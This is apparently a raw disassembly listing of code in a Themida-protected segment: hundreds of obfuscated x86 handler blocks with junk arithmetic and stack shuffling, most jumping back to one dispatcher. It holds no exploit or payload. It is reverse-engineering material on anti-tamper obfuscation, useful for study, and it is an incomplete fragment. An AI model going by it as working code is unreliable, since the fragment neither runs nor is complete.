pop esi
sub edi, 0F781F65Eh
sub ebx, edi
pop edi
add ebx, edi
add ebx, 72AA1F2Ch
pop edi
push dword ptr [eax]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5523AB: ; CODE XREF: Themida_:00556908j
dec dl
add dl, 0E6h
xor dl, 13h
jmp loc_5576B5
; ---------------------------------------------------------------------------
loc_5523B8: ; CODE XREF: Themida_:00554D14j
xor edi, 449179D3h
add ecx, edi
pop edi
sub ecx, 4
xchg ecx, [esp]
pop esp
jmp loc_554B66
; ---------------------------------------------------------------------------
loc_5523CD: ; CODE XREF: Themida_:005571D0j
sub esp, 4
jmp loc_55920A
; ---------------------------------------------------------------------------
loc_5523D8: ; CODE XREF: Themida_:00554DDEj
xor ebx, [esp]
mov esp, [esp]
jmp loc_553EB4
; ---------------------------------------------------------------------------
loc_5523E3: ; CODE XREF: Themida_:005555F1j
push edx
mov edx, 6F000A60h
dec edx
push ebx
jmp loc_55688B
; ---------------------------------------------------------------------------
loc_5523F0: ; CODE XREF: Themida_:0055CE0Ej
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
jmp loc_556E8D
; ---------------------------------------------------------------------------
loc_552401: ; CODE XREF: Themida_:005540DBj
mov ebx, 3270387Dh
xor [esp+4], ebx
jmp loc_55A569
; ---------------------------------------------------------------------------
loc_55240F: ; CODE XREF: Themida_:00551BFAj
xor esi, [esp]
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
mov ax, [esp]
jmp loc_55CFE9
; ---------------------------------------------------------------------------
loc_552424: ; CODE XREF: Themida_:0055183Aj
sub esi, ebx
jmp loc_559902
; ---------------------------------------------------------------------------
loc_55242B: ; CODE XREF: Themida_:0055C4B0j
pop ebp
add eax, ecx
pop ecx
add eax, 4
xchg eax, [esp]
pop esp
movzx ecx, al
push 5B86h
mov [esp], ecx
jmp loc_551815
; ---------------------------------------------------------------------------
loc_552448: ; CODE XREF: Themida_:005591D0j
neg dl
dec dl
push ecx
mov ch, 0B8h
shl ch, 1
not ch
jmp loc_55D597
; ---------------------------------------------------------------------------
loc_552458: ; CODE XREF: Themida_:00554679j
and esi, 4FF434CBh
not esi
xor esi, 0EB96EB20h
sub eax, 5008264Ch
add eax, esi
sub esp, 4
mov [esp], ebp
mov ebp, 5008264Ch
add eax, ebp
jmp loc_55C711
; ---------------------------------------------------------------------------
loc_552482: ; CODE XREF: Themida_:00553FBEj
jmp loc_551815
; ---------------------------------------------------------------------------
loc_552487: ; CODE XREF: Themida_:0055C5E7j
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], eax
xor [esp], ebp
xor ebp, [esp]
xor [esp], ebp
jmp loc_55374B
; ---------------------------------------------------------------------------
loc_5524A8: ; CODE XREF: Themida_:0055BCE4j
add esi, ebx
jmp loc_556051
; ---------------------------------------------------------------------------
loc_5524AF: ; CODE XREF: Themida_:0055CF12j
shr edi, 4
sub edi, 0FFFFFFFFh
add edi, 1
xor edi, 30993BEDh
xor edi, 0CA73FFh
sub ebx, edi
mov edi, [esp]
add esp, 4
pop dword ptr [eax]
jmp loc_553EED
; ---------------------------------------------------------------------------
loc_5524DC: ; CODE XREF: Themida_:00554D31j
inc edi
jmp loc_558010
; ---------------------------------------------------------------------------
loc_5524E2: ; CODE XREF: Themida_:00559085j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5524E7: ; CODE XREF: Themida_:00553BA2j
push eax
mov eax, esp
add eax, 4
jmp loc_5536AD
; ---------------------------------------------------------------------------
loc_5524F4: ; CODE XREF: Themida_:0055DA27j
mov ebx, ebp
pop ebp
jmp loc_557FA0
; ---------------------------------------------------------------------------
loc_5524FC: ; CODE XREF: Themida_:00556A7Dj
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
and eax, esi
push dword ptr [esp]
pop esi
add esp, 4
or eax, eax
jnz loc_557404
push ecx
mov ecx, esp
push edi
mov edi, 4
add ecx, edi
pop edi
push ebx
jmp loc_552E3E
; ---------------------------------------------------------------------------
loc_55252E: ; CODE XREF: Themida_:0055746Fj
pop edx
jmp loc_553931
; ---------------------------------------------------------------------------
loc_552534: ; CODE XREF: Themida_:0055B147j
mov esp, [esp]
mov [esp], ebx
push 6CB9h
mov [esp], esi
push ebx
push ebp
push esi
push 45233C47h
jmp loc_558F55
; ---------------------------------------------------------------------------
loc_55254F: ; CODE XREF: Themida_:0055CB49j
or eax, eax
jz loc_553004
push 6C82h
mov [esp], ebx
jmp loc_553F58
; ---------------------------------------------------------------------------
loc_552564: ; CODE XREF: Themida_:00551E32j
xchg esi, [esp]
mov esp, [esp]
shl word ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_552574: ; CODE XREF: Themida_:00558755j
push eax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov eax, [esp]
add esp, 4
push edx
sub esp, 4
jmp loc_55615E
; ---------------------------------------------------------------------------
loc_552590: ; CODE XREF: Themida_:00551D1Dj
sub ecx, 75EE0EE4h
jmp loc_55862D
; ---------------------------------------------------------------------------
loc_55259B: ; CODE XREF: Themida_:0055A64Bj
mov esi, 645D1A45h
mov [edi+20h], esi
pop esi
push ebx
mov ebx, 1B3E2913h
sub ebx, 14421390h
sub [edi+20h], ebx
jmp loc_559753
; ---------------------------------------------------------------------------
loc_5525B8: ; CODE XREF: Themida_:0055780Fj
push edi
jmp loc_55CCA2
; ---------------------------------------------------------------------------
loc_5525BE: ; CODE XREF: Themida_:00558E1Dj
push 48C4CDAh
mov esi, [esp]
push ecx
mov ecx, esp
jmp loc_555FD8
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_557CF8
; ---------------------------------------------------------------------------
loc_5525D7: ; CODE XREF: Themida_:00558FFDj
push ecx
mov ecx, 1
sub ebp, 5778391Fh
add ebp, ecx
jmp loc_557948
; ---------------------------------------------------------------------------
loc_5525EA: ; CODE XREF: Themida_:0055B905j
inc edi
jmp loc_557CCB
; ---------------------------------------------------------------------------
loc_5525F0: ; CODE XREF: Themida_:005543C1j
pop edi
sub ebx, ebp
pop ebp
add ebx, edi
add ebx, 36951E3Eh
pop edi
push ebp
mov ebp, 2
add ebx, ebp
pop ebp
sub esp, 4
mov [esp], ebx
push dword ptr [esp+4]
mov ebx, [esp]
jmp loc_55D2FF
; ---------------------------------------------------------------------------
loc_552618: ; CODE XREF: Themida_:0055C0FAj
mov ebx, 35DF09F9h
jmp loc_5522BC
; ---------------------------------------------------------------------------
loc_552622: ; CODE XREF: Themida_:0055582Dj
mov ebp, 78E93186h
mov ecx, ebp
jmp loc_5572B4
; ---------------------------------------------------------------------------
loc_55262E: ; CODE XREF: Themida_:00558503j
add edx, ebp
mov ebp, [esp]
add esp, 4
jmp loc_55411E
; ---------------------------------------------------------------------------
loc_55263E: ; CODE XREF: Themida_:0055BB39j
push edx
mov edx, 24h
push ecx
mov ecx, 3D65764h
sub edx, ecx
pop ecx
add edx, edi
push ebx
push edx
mov edx, 3D65764h
jmp loc_55C7EF
; ---------------------------------------------------------------------------
loc_55265B: ; CODE XREF: Themida_:00556F37j
add eax, 3525674Fh
add eax, 170D73EBh
push ecx
jmp loc_55A2F5
; ---------------------------------------------------------------------------
loc_55266B: ; CODE XREF: Themida_:0055296Fj
add esi, ebp
jmp loc_559275
; ---------------------------------------------------------------------------
loc_552672: ; CODE XREF: Themida_:00554D84j
mov [esp], ebx
push eax
jmp loc_55310D
; ---------------------------------------------------------------------------
loc_55267B: ; CODE XREF: Themida_:005596FAj
mov edi, [esp]
jmp loc_553DEA
; ---------------------------------------------------------------------------
loc_552683: ; CODE XREF: Themida_:00552E39j
mov bl, 0F8h
add bl, 20h
push edx
mov dh, 0FCh
jmp loc_55A724
; ---------------------------------------------------------------------------
loc_552690: ; CODE XREF: Themida_:0055A86Bj
pop edx
pop ebx
jmp loc_55CEC8
; ---------------------------------------------------------------------------
loc_552697: ; CODE XREF: Themida_:0055D5FFj
pop esp
sub esp, 4
mov [esp], ebp
push 2F56h
mov [esp], edi
jmp loc_55C2C0
; ---------------------------------------------------------------------------
loc_5526AE: ; CODE XREF: Themida_:00554E7Fj
add edi, ebx
jmp loc_556C27
; ---------------------------------------------------------------------------
loc_5526B5: ; CODE XREF: Themida_:00551AA3j
add esp, 4
shr edx, 6
add edx, 0FFFFFFFFh
not edx
sub edx, 0C7F922CBh
push ebp
mov ebp, edx
push ebp
pop ebx
pop ebp
push dword ptr [esp]
pop edx
add esp, 4
mov eax, 36E6605Ah
xor eax, ebx
mov ebx, [esp]
add esp, 4
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5526EE: ; CODE XREF: Themida_:00558A23j
add esp, 4
sub bp, 1D31h
sub bp, bx
jmp loc_557251
; ---------------------------------------------------------------------------
loc_5526FE: ; CODE XREF: Themida_:005569DBj
mov [esp], ecx
push 323A0AFCh
jmp loc_55279B
; ---------------------------------------------------------------------------
loc_55270B: ; CODE XREF: Themida_:005585F5j
push dword ptr [esp]
pop edi
add esp, 4
mov edx, [esp]
add esp, 4
jmp loc_55B213
; ---------------------------------------------------------------------------
loc_552723: ; CODE XREF: Themida_:00558BC0j
pop bx
jmp loc_558FDE
; ---------------------------------------------------------------------------
loc_55272A: ; CODE XREF: Themida_:0055AB8Ej
push ecx
jmp loc_553783
; ---------------------------------------------------------------------------
loc_552730: ; CODE XREF: Themida_:0055D2ECj
pop ebp
jmp loc_552993
; ---------------------------------------------------------------------------
loc_552736: ; CODE XREF: Themida_:0055AD24j
dec ecx
push ebp
jmp loc_55A7B8
; ---------------------------------------------------------------------------
loc_55273D: ; CODE XREF: Themida_:0055CC16j
sub edi, 4
jmp loc_55A317
; ---------------------------------------------------------------------------
loc_552745: ; CODE XREF: Themida_:0055960Ej
add eax, 713A2BB8h
push 7176h
mov [esp], edi
jmp loc_55C5CD
; ---------------------------------------------------------------------------
loc_552757: ; CODE XREF: Themida_:0055C154j
mov esi, ecx
jmp loc_559219
; ---------------------------------------------------------------------------
loc_55275E: ; CODE XREF: Themida_:0055A90Dj
pop esp
jmp loc_55415B
; ---------------------------------------------------------------------------
loc_552764: ; CODE XREF: Themida_:0055CFB9j
pop eax
jmp loc_55C586
; ---------------------------------------------------------------------------
loc_55276A: ; CODE XREF: Themida_:0055591Aj
not dl
shr dl, 1
add dl, 13h
mov bh, dl
pop edx
jmp loc_551AF5
; ---------------------------------------------------------------------------
loc_552779: ; CODE XREF: Themida_:00553227j
mov [esp], ebx
mov ebx, esp
add ebx, 4
jmp loc_5574CF
; ---------------------------------------------------------------------------
loc_552789: ; CODE XREF: Themida_:0055B6D7j
dec cl
and cl, 7Dh
jmp loc_55801B
; ---------------------------------------------------------------------------
loc_552793: ; CODE XREF: Themida_:00551C97j
sub ebx, esi
pop esi
jmp loc_55C93E
; ---------------------------------------------------------------------------
loc_55279B: ; CODE XREF: Themida_:00552706j
pop ecx
xor eax, ecx
jmp loc_55C57B
; ---------------------------------------------------------------------------
loc_5527A3: ; CODE XREF: Themida_:0055CE1Aj
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
add eax, 4
jmp loc_5567CC
; ---------------------------------------------------------------------------
loc_5527BA: ; CODE XREF: Themida_:0055CAFFj
mov ebx, [esp]
add esp, 4
xor edx, edx
jmp loc_55808D
; ---------------------------------------------------------------------------
loc_5527C7: ; CODE XREF: Themida_:00553574j
pop ecx
push esi
push 4
pop esi
jmp loc_553392
; ---------------------------------------------------------------------------
loc_5527D4: ; CODE XREF: Themida_:005563DAj
push esp
pop dword ptr [esp]
jmp loc_551FC6
; ---------------------------------------------------------------------------
loc_5527DD: ; CODE XREF: Themida_:00556C3Ej
mov [esp], edx
mov edx, 4
add ecx, edx
mov edx, [esp]
add esp, 4
jmp loc_555A92
; ---------------------------------------------------------------------------
loc_5527F5: ; CODE XREF: Themida_:0055CDBAj
xchg ebp, [esp]
pop esp
add ecx, esi
jmp loc_555605
; ---------------------------------------------------------------------------
loc_552800: ; CODE XREF: Themida_:00556C03j
mov [esp], ebp
push esp
jmp loc_551BFF
; ---------------------------------------------------------------------------
loc_552809: ; CODE XREF: Themida_:00557069j
mov ebx, esp
add ebx, 4
add ebx, 4
xchg ebx, [esp]
pop esp
jmp loc_5530AF
; ---------------------------------------------------------------------------
loc_552820: ; CODE XREF: Themida_:0055809Bj
add esp, 4
push ebp
push 1C9Ch
push esp
pop dword ptr [esp]
sub esp, 4
mov [esp], esi
mov esi, 4
jmp loc_5576DF
; ---------------------------------------------------------------------------
loc_552840: ; CODE XREF: Themida_:00555399j
mov edx, [esp]
add esp, 4
mov edi, ebp
mov ebp, [esp]
push eax
mov eax, esp
add eax, 4
add eax, 4
jmp loc_554F87
; ---------------------------------------------------------------------------
loc_552860: ; CODE XREF: Themida_:0055D4DFj
push 6D6361FAh
pop ebx
jmp loc_5537C8
; ---------------------------------------------------------------------------
loc_55286B: ; CODE XREF: Themida_:0055C15Aj
xor al, bl
jmp loc_55ACE0
; ---------------------------------------------------------------------------
loc_552872: ; CODE XREF: Themida_:0055B651j
dec edi
neg edi
push ebx
mov ebx, 4B8D24D3h
xor ebx, 140C2745h
sub ebx, 4304EB00h
xor edi, ebx
pop ebx
shr edi, 7
push esi
jmp loc_55CA1B
; ---------------------------------------------------------------------------
loc_552893: ; CODE XREF: Themida_:0055BF13j
push esi
mov esi, 0BA07E19h
not esi
jmp loc_554D89
; ---------------------------------------------------------------------------
loc_5528A0: ; CODE XREF: Themida_:00554EF5j
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5528A5: ; CODE XREF: Themida_:00556A53j
btc [esp], ax
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_5528B0: ; CODE XREF: Themida_:00555CEBj
or esi, 323D4378h
push edx
mov edx, 2CD0FC8Bh
jmp loc_55DD38
; ---------------------------------------------------------------------------
loc_5528C1: ; CODE XREF: Themida_:00557B43j
or edx, 5E70055Ch
jmp loc_558462
; ---------------------------------------------------------------------------
loc_5528CC: ; CODE XREF: Themida_:005532F0j
or edi, 6AB80ED6h
jmp loc_558654
; ---------------------------------------------------------------------------
loc_5528D7: ; CODE XREF: Themida_:00552BE2j
push edx
push eax
jmp loc_55DD21
; ---------------------------------------------------------------------------
loc_5528DE: ; CODE XREF: Themida_:00556E24j
mov edi, esp
add edi, 4
add edi, 4
xchg edi, [esp]
jmp loc_55CC7F
; ---------------------------------------------------------------------------
loc_5528F1: ; CODE XREF: Themida_:00552F65j
xor eax, edi
pop edi
sub esi, 2AB45D10h
sub esi, eax
add esi, 2AB45D10h
pop eax
add esi, 4D9422Ah
sub esi, 60FC0EF5h
push dword ptr [esp]
pop eax
add esp, 4
push 1CBFh
jmp loc_556877
; ---------------------------------------------------------------------------
loc_552923: ; CODE XREF: Themida_:0055B67Dj
mov ecx, 15174A8Dh
add ecx, 1
jmp loc_55BC28
; ---------------------------------------------------------------------------
loc_552930: ; CODE XREF: Themida_:00557760j
mov ecx, [esp]
add esp, 4
add edx, ecx
jmp loc_558169
; ---------------------------------------------------------------------------
loc_55293D: ; CODE XREF: Themida_:00553DA2j
add edi, ebp
pop ebp
xor ecx, edi
jmp loc_55CFE0
; ---------------------------------------------------------------------------
loc_552947: ; CODE XREF: Themida_:005535CBj
pop eax
jmp loc_5560FA
; ---------------------------------------------------------------------------
loc_55294D: ; CODE XREF: Themida_:00553216j
add edx, ebx
add dword ptr [edx], 1
mov edx, [esp]
add esp, 4
jmp loc_551F37
; ---------------------------------------------------------------------------
loc_552963: ; CODE XREF: Themida_:00556184j
push ebp
mov ebp, 3EC64EF1h
sub esi, 2EC1BF9h
jmp loc_55266B
; ---------------------------------------------------------------------------
loc_552974: ; CODE XREF: Themida_:0055C8F3j
pop ebp
xchg eax, [esp]
mov esp, [esp]
mov [esp], eax
jmp loc_552181
; ---------------------------------------------------------------------------
loc_552983: ; CODE XREF: Themida_:0055D0F3j
sub ecx, edi
pop edi
push 1CD3h
mov [esp], ebx
jmp loc_553437
; ---------------------------------------------------------------------------
loc_552993: ; CODE XREF: Themida_:00552731j
add esi, 4D09292Ah
add esi, 13DE6F31h
mov ebx, esi
pop esi
add ebp, ebx
mov ebx, [esp]
add esp, 4
jmp loc_5518D6
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
sub esp, 4
mov [esp], esi
jmp loc_556638
; ---------------------------------------------------------------------------
loc_5529BE: ; CODE XREF: Themida_:00554847j
mov [esp], edi
jmp loc_55670F
; ---------------------------------------------------------------------------
loc_5529C6: ; CODE XREF: Themida_:005591C9j
pop eax
push dword ptr [esp]
mov eax, [esp]
add esp, 4
add esp, 4
add edx, 2
jmp loc_5539A8
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop cx
rcr word ptr [esp], cl
pushf
jmp loc_555857
; ---------------------------------------------------------------------------
loc_5529F1: ; CODE XREF: Themida_:00554F3Cj
dec bh
push cx
jmp loc_55548A
; ---------------------------------------------------------------------------
loc_5529FA: ; CODE XREF: Themida_:0055342Aj
push esp
jmp loc_55BB8A
; ---------------------------------------------------------------------------
loc_552A00: ; CODE XREF: Themida_:0055AB82j
push eax
mov eax, 402E422Dh
neg eax
shr eax, 7
and eax, 2C97758Eh
push edi
mov edi, 18810DC2h
jmp loc_55CA98
; ---------------------------------------------------------------------------
loc_552A1B: ; CODE XREF: Themida_:0055A5CCj
and ch, bh
pop ebx
not ch
add ch, 0E6h
sub al, ch
pop ecx
pop dx
push ebx
push 0B4Ch
mov [esp], eax
push 5FE7h
mov [esp], ebx
mov bh, 90h
not bh
dec bh
and bh, 43h
xor bh, 24h
mov ah, bh
mov ebx, [esp]
jmp loc_553101
; ---------------------------------------------------------------------------
loc_552A4F: ; CODE XREF: Themida_:00557F75j
mov edx, [esp]
push ebx
mov ebx, esp
add ebx, 4
jmp loc_559F18
; ---------------------------------------------------------------------------
loc_552A60: ; CODE XREF: Themida_:0055AB48j
mov [esp], ebx
push 47CDh
mov [esp], ebp
push esi
mov esi, 6AF61486h
mov ebp, 0A70EF21Bh
jmp loc_5545AB
; ---------------------------------------------------------------------------
loc_552A7B: ; CODE XREF: Themida_:005562AAj
push esi
add dword ptr [esp], 93D2E11h
pop ecx
sub ecx, 93D2E11h
pop esi
mov ebx, ecx
pop ecx
add ebp, 539F1999h
jmp loc_5518B2
; ---------------------------------------------------------------------------
loc_552A99: ; CODE XREF: Themida_:0055B51Ej
jmp loc_551815
; ---------------------------------------------------------------------------
loc_552A9E: ; CODE XREF: Themida_:005534A9j
xchg esi, [esp]
mov esp, [esp]
push ebp
push ecx
push edx
mov edx, 35F97095h
xor [esp+4], edx
pop edx
jmp loc_558FE7
; ---------------------------------------------------------------------------
loc_552AB6: ; CODE XREF: Themida_:0055ACE7j
mov cl, 0E0h
sub al, 58h
add al, cl
push ebx
push ecx
mov cl, 53h
push ebx
jmp loc_55983C
; ---------------------------------------------------------------------------
lodsd
push ebx
mov ebx, 633C4824h
push edx
jmp loc_55C1B5
; ---------------------------------------------------------------------------
loc_552AD3: ; CODE XREF: Themida_:00556640j
push edi
mov edi, 40260830h
jmp loc_55C9A2
; ---------------------------------------------------------------------------
loc_552ADE: ; CODE XREF: Themida_:0055A08Cj
shr ecx, 2
and ecx, 5A3134DAh
shr ecx, 8
push eax
mov eax, 0EE979E59h
sub ecx, eax
pop eax
xor eax, ecx
jmp loc_5592B1
; ---------------------------------------------------------------------------
loc_552AFA: ; CODE XREF: Themida_:0055C98Cj
push 30FCh
jmp loc_55933F
; ---------------------------------------------------------------------------
loc_552B04: ; CODE XREF: Themida_:00558191j
pop ebx
sub cl, 0C5h
dec cl
sub cl, 0B8h
mov bl, cl
pop ecx
push edx
mov dh, bl
jmp loc_558F83
; ---------------------------------------------------------------------------
loc_552B18: ; CODE XREF: Themida_:00552220j
mov eax, esp
add eax, 4
add eax, 4
jmp loc_55BFFA
; ---------------------------------------------------------------------------
loc_552B27: ; CODE XREF: Themida_:00557E0Bj
mov [esp], esp
add dword ptr [esp], 4
jmp loc_55B75B
; ---------------------------------------------------------------------------
loc_552B33: ; CODE XREF: Themida_:00554210j
sub esi, ebx
pop ebx
push eax
mov eax, 4D1340D1h
jmp loc_556256
; ---------------------------------------------------------------------------
loc_552B41: ; CODE XREF: Themida_:00551A11j
mov ecx, ebp
pop ebp
add ecx, 0D84A15C8h
jmp loc_55398A
; ---------------------------------------------------------------------------
loc_552B4F: ; CODE XREF: Themida_:00554D90j
sub edi, 22737745h
sub edi, esi
add edi, 22737745h
pop esi
push dword ptr [esp]
jmp loc_55A075
; ---------------------------------------------------------------------------
loc_552B66: ; CODE XREF: Themida_:005596B3j
push 61D9h
mov [esp], ecx
xchg edx, [esp]
not edx
xor [esp], edx
xor edx, [esp]
xor [esp], edx
mov ecx, [esp]
push esi
push esp
pop esi
push ecx
mov ecx, 0DD152F7h
sub ecx, 0DD152F3h
jmp loc_554FEB
; ---------------------------------------------------------------------------
loc_552B93: ; CODE XREF: Themida_:00555032j
pop edx
jmp loc_554906
; ---------------------------------------------------------------------------
loc_552B99: ; CODE XREF: Themida_:00557CF3j
xchg edi, [esp]
jmp loc_5580AD
; ---------------------------------------------------------------------------
loc_552BA1: ; CODE XREF: Themida_:00556C34j
pop edi
push 14C2h
mov [esp], ebx
push ebp
push edi
sub esp, 4
mov [esp], ebx
mov ebx, 7E2E79F6h
xor ebx, 65F7364h
neg ebx
not ebx
sub ebx, 0FFFFFFFFh
xor ebx, 0BF634C6h
push ecx
mov ecx, 265407A8h
jmp loc_559991
; ---------------------------------------------------------------------------
loc_552BDB: ; CODE XREF: Themida_:005589CCj
mov ecx, 28h
add ecx, edi
jmp loc_5528D7
; ---------------------------------------------------------------------------
loc_552BE7: ; CODE XREF: Themida_:0055B098j
add ebx, 4C3C00BCh
add ebx, ebp
sub ebx, 4C3C00BCh
pop ebp
add ebx, 2
xchg ebx, [esp]
mov esp, [esp]
rol dword ptr [esp], cl
pushf
jmp loc_551815
; ---------------------------------------------------------------------------
loc_552C08: ; CODE XREF: Themida_:00559942j
push edx
mov dh, 19h
push ecx
mov ch, 93h
jmp loc_551DAE
; ---------------------------------------------------------------------------
loc_552C13: ; CODE XREF: Themida_:00551A49j
pop ebx
jmp loc_551981
; ---------------------------------------------------------------------------
loc_552C19: ; CODE XREF: Themida_:0055C914j
mov di, 6D9Bh
dec di
xor di, 6F5Dh
or di, 713Ah
sub di, 1B62h
jmp loc_55A57F
; ---------------------------------------------------------------------------
loc_552C33: ; CODE XREF: Themida_:00558B43j
push dword ptr [esp]
pop ecx
push esi
mov esi, esp
push edx
mov edx, 4
add esi, edx
pop edx
add esi, 4
xchg esi, [esp]
pop esp
add bl, al
sub esp, 4
mov [esp], edx
mov dh, 12h
add dh, 0FFh
shl dh, 8
jmp loc_553467
; ---------------------------------------------------------------------------
loc_552C62: ; CODE XREF: Themida_:005551D3j
sub al, dh
pop dx
sub al, bh
add al, 17h
pop ebx
push ecx
jmp loc_5519AC
; ---------------------------------------------------------------------------
loc_552C71: ; CODE XREF: Themida_:00556633j
pop ebx
jmp loc_556149
; ---------------------------------------------------------------------------
loc_552C77: ; CODE XREF: Themida_:0055C87Aj
add ecx, 4
push eax
jmp loc_555E77
; ---------------------------------------------------------------------------
loc_552C83: ; CODE XREF: Themida_:00551D8Bj
push ecx
mov ecx, 36EE4F83h
dec ecx
neg ecx
not ecx
shl ecx, 5
and ecx, 32737B2Dh
sub ecx, 1041701Ch
jmp loc_5581EB
; ---------------------------------------------------------------------------
loc_552CA2: ; CODE XREF: Themida_:00551938j
mov edx, [esp]
add esp, 4
sub esp, 4
jmp loc_55840A
; ---------------------------------------------------------------------------
loc_552CB6: ; CODE XREF: Themida_:0055A100j
or edi, eax
pop eax
jmp loc_55889C
; ---------------------------------------------------------------------------
loc_552CBE: ; CODE XREF: Themida_:005535B2j
pop ecx
add esi, eax
pop eax
add esi, 2E477554h
pop eax
xor eax, esi
mov esi, [esp]
add esp, 4
jmp loc_558F00
; ---------------------------------------------------------------------------
loc_552CD9: ; CODE XREF: Themida_:00552DEAj
add ecx, 1EE97C01h
jmp loc_55AAFF
; ---------------------------------------------------------------------------
loc_552CE4: ; CODE XREF: Themida_:0055B25Bj
push edi
push eax
mov eax, 642B034Ah
mov edi, 9BD4FCBAh
add edi, eax
pop eax
jmp loc_555771
; ---------------------------------------------------------------------------
loc_552CF8: ; CODE XREF: Themida_:00555D9Dj
; Themida_:loc_55986Fj
sub esp, 4
mov [esp], esi
mov esi, esp
jmp loc_5598AA
; ---------------------------------------------------------------------------
loc_552D08: ; CODE XREF: Themida_:0055B756j
add dword ptr [esp], 4
pop ebp
push 5320h
mov [esp], edx
mov edx, 53654514h
not edx
shl edx, 5
neg edx
jmp loc_55D70F
; ---------------------------------------------------------------------------
loc_552D26: ; CODE XREF: Themida_:0055CE53j
pop edi
add esp, 4
jmp loc_5580CD
; ---------------------------------------------------------------------------
push dword ptr [edx]
jmp loc_551815
; ---------------------------------------------------------------------------
loc_552D39: ; CODE XREF: Themida_:0055AAE8j
mov eax, 2
add edi, eax
jmp loc_5543C6
; ---------------------------------------------------------------------------
loc_552D45: ; CODE XREF: Themida_:0055573Ej
inc dl
jmp loc_55CCBC
; ---------------------------------------------------------------------------
loc_552D4C: ; CODE XREF: Themida_:00559E19j
xor edx, 14A20806h
shr edx, 1
sub edx, 347A89EAh
xor ebp, edx
pop edx
push ebx
mov ebx, 0A181E9Ah
and ebp, ebx
mov ebx, [esp]
add esp, 4
xor ebp, 6C6C2E2Eh
mov edx, 666C2E27h
xor edx, ebp
push dword ptr [esp]
pop ebp
add esp, 4
and eax, edx
push dword ptr [esp]
mov edx, [esp]
add esp, 4
add esp, 4
or edx, eax
shl edx, 1
push 0D46h
mov [esp], esi
mov esi, 7C306945h
jmp loc_55581C
; ---------------------------------------------------------------------------
loc_552DA3: ; CODE XREF: Themida_:00557EF4j
add eax, 491B6784h
shl eax, 1
sub eax, 27537609h
add eax, 443F6C4Bh
xor esi, eax
pop eax
push edi
mov edi, esi
push eax
mov eax, edi
mov ebx, eax
pop eax
pop edi
jmp loc_5550B7
; ---------------------------------------------------------------------------
loc_552DC6: ; CODE XREF: Themida_:00556C90j
mov ebx, 8D43B46h
mov ebp, 8D43B4Ah
sub ebp, 3282458Ah
sub ebp, ebx
add ebp, 3282458Ah
pop ebx
push ebp
mov ebp, 1EE97C01h
sub ecx, ebp
pop ebp
add ecx, ebp
jmp loc_552CD9
; ---------------------------------------------------------------------------
loc_552DEF: ; CODE XREF: Themida_:00553FF1j
mov ebx, [esp]
add esp, 4
shr eax, 8
xor eax, ecx
push edi
jmp loc_55C5E5
; ---------------------------------------------------------------------------
loc_552E00: ; CODE XREF: Themida_:0055CFC1j
push edx
push 7F673B60h
mov edx, [esp]
jmp loc_553552
; ---------------------------------------------------------------------------
loc_552E0E: ; CODE XREF: Themida_:005533FAj
push ebx
push 45970425h
jmp loc_555CDE
; ---------------------------------------------------------------------------
loc_552E19: ; CODE XREF: Themida_:00556342j
pop esp
xor al, bh
pop ebx
push ecx
push eax
mov al, 6Fh
mov ch, 0A5h
jmp loc_551E74
; ---------------------------------------------------------------------------
loc_552E28: ; CODE XREF: Themida_:0055DBD3j
mov edx, [esp]
add esp, 4
push 3467h
mov [esp], ebx
jmp loc_552683
; ---------------------------------------------------------------------------
loc_552E3E: ; CODE XREF: Themida_:00552529j
mov ebx, 4
sub ecx, ebx
pop ebx
jmp loc_554D95
; ---------------------------------------------------------------------------
sub esp, 2
mov [esp], ax
push small word ptr [esp+2]
mov ax, [esp]
jmp loc_558B14
; ---------------------------------------------------------------------------
loc_552E60: ; CODE XREF: Themida_:0055A187j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
jmp loc_55C173
; ---------------------------------------------------------------------------
loc_552E6E: ; CODE XREF: Themida_:0055A7F4j
pop ebx
not ebx
sub ebx, 83CEADBDh
mov eax, ebx
pop ebx
add ebx, eax
pop eax
xchg ebx, [esp]
mov esp, [esp]
or [esp], eax
pushf
jmp loc_55CF91
; ---------------------------------------------------------------------------
loc_552E8C: ; CODE XREF: Themida_:00556A2Cj
mov edi, 773B2431h
sub edi, 3C338FEh
jmp loc_553010
; ---------------------------------------------------------------------------
loc_552E9C: ; CODE XREF: Themida_:005536FEj
mov [esp], edi
mov edi, 268F66CFh
jmp loc_55A6C4
; ---------------------------------------------------------------------------
loc_552EA9: ; CODE XREF: Themida_:0055AB18j
mov [esp], ebp
mov ebp, 761F02C6h
jmp loc_555C7A
; ---------------------------------------------------------------------------
loc_552EB6: ; CODE XREF: Themida_:005599F8j
push edx
mov edx, 3D2370CBh
and eax, edx
pop edx
xor eax, 34022004h
add esi, eax
jmp loc_55CF62
; ---------------------------------------------------------------------------
loc_552ECB: ; CODE XREF: Themida_:005574B0j
add dh, 84h
add bl, dh
jmp loc_5592E1
; ---------------------------------------------------------------------------
loc_552ED5: ; CODE XREF: Themida_:0055C8A6j
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_559F97
; ---------------------------------------------------------------------------
loc_552EE9: ; CODE XREF: Themida_:00553784j
pop ecx
push edi
push eax
jmp loc_55AFEB
; ---------------------------------------------------------------------------
loc_552EF1: ; CODE XREF: Themida_:00557F47j
pop ebx
sub ebp, 2
xchg ebp, [esp]
jmp loc_55AFB1
; ---------------------------------------------------------------------------
loc_552F00: ; CODE XREF: Themida_:00556432j
push edx
mov edx, 22FD0051h
dec edx
jmp loc_558C24
; ---------------------------------------------------------------------------
mov ax, [esp]
sub esp, 4
mov [esp], ebp
push esp
pop ebp
push edx
jmp loc_55AABE
; ---------------------------------------------------------------------------
loc_552F1E: ; CODE XREF: Themida_:00554940j
sub ebx, 51B00817h
jmp loc_554F53
; ---------------------------------------------------------------------------
